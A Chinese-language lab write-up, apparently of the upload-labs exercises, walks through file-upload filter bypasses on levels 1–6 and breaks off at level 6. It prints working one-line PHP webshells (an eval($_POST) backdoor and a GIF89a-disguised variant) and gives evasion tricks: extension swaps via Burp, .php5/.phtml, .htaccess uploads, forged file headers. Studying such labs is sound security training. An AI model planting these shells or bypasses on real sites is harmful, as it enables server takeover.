解题之前我们先来了解一下一句话木马和webshell
一句话木马:
例如:<?php @eval($_POST['a']);?>
其中?eval?就是执行命令的函数,$_POST['a']?就是接收的数据。 eval函数把接收的数据当作PHP
代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。
webshell:

PASS 1
任务:上传一个webs hell文件

?解答:
1. 新建一个记事本 写下一句话木马 修改后缀为.php
2.选择1.php文件进行上传 发现无法上传

3.查看源码,发现不允许上传.php文件

4. 修改后缀名为.jpg

上传成功!!!!
PASS 2?
任务 上传一个webs hell到服务器

解答:

?上传文件1.php 显示文件类型不正确 查看源码

?发现允许上传.jpg 和.png的格式
修改文件后缀名

?burp进行抓包
?修改后缀名为.php

?
蚁剑测试连接

pass 3
查看源码 发现不允许上传.asp .aspx .php .jsp后缀文件

这是后端检查
绕过方法有? 畸形后缀名
php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、 ?
asa、asax、jsp、jspa、jspx等
?
上述如果想要被当成php执行,需要有个前提条件,即Apache的httpd.conf有配置代码 AddType
?
application/x-httpd-php .pht .phtml .phps .php5 .pht .
方法:
在 /etc/apache2/ 目录下的 apache2.conf 中编辑,直接在最后添加 AddType application/x-httpd-
?
php .php4t .phtml .phps .php5 .pht 。
?百度抓包 修改后缀名为.php5

?蚁剑连接

?
pass 4
查看源码

?黑名单几乎拒绝了所有问题的后缀名,除了.htacess
.htacess文件是Apache服务器中的一个配置文件 她负责相关目录下的网页配置? 通过htacess 文件 可以实现:网页301重定向 自定义404错误页面 改变文件扩展名 允许\阻止特定的用户或者目录的访问?禁止目录列表 配置默认文档等功能
写一个.htaccess文件

?上传.htaccess文件 1.jpg文件

?蚁剑测试连接

?
pass 5

?
第五关中的黑名单加入了.htaccess
尝试给脚本文件加上常见的文件头
常见文件头有:JPG:FF D8 FF E0 00 10 4A 46 49 46?
? ? ? ? ? ? ? ? ? ? ? ? ?GIF:47 49 46 38 39 61
? ? ? ? ? ? ? ? ? ? ? ? ?PNG:89 50 4E 47

上传成功 但无法解析 继续修改
修改一句话木马为
GIF89a
<script language="php">@eval($_POST['pass']);</script>
上传成功
蚁剑进行连接
?
?pass 6

查看源码 发现.ini也加入了黑名单 我们可以通过在后缀名后加空格进行绕过
抓包 修改文件类型?
?
?
|